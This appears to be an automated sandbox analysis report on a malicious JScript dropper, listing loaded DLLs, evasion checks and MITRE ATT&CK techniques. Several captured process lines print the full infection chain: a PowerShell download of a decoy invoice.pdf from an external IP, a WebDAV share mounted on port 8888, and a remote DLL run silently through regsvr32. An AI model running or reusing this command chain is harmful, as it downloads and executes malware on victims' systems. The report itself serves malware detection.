Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4924.js.csv");ITextStream.WriteLine(" entry:2460 f:egtukze");ITextStream.WriteLine(" exec:2 f:egtukze");ITextStream.WriteLine(" entry:5 o: f:eval a0:%22gewduwio%3D%5B1031%2C3079%2C5127%2C4103%2C2055%2C3072%5D%3Bvar%20dcidad%3Dthis%5Bpjbpusd%2Brcmbdus%2Bkldpcyr%2Bxqxazjgyn%2Bnrnggstzv%2Bfszmmqc%2Bwxjknlsyf%2Biqpbs%5D(this%5Brwitu%2Bfgnrnpacy%2Bleybo%2");IHost.CreateObject("WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4276			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5588			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 892	Thread sleep count: 4276 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 892	Thread sleep count: 5588 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1996	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4464	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2684	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5060	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2088151549.0000029D02B59000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2087113344.0000029D02B59000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2087972404.0000029D02AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3339178955.00000285EEC43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3342162903.00000285F4458000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3339160180.00000285EEC2B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15025553325006.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	1 Command and Scripting Interpreter	22 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
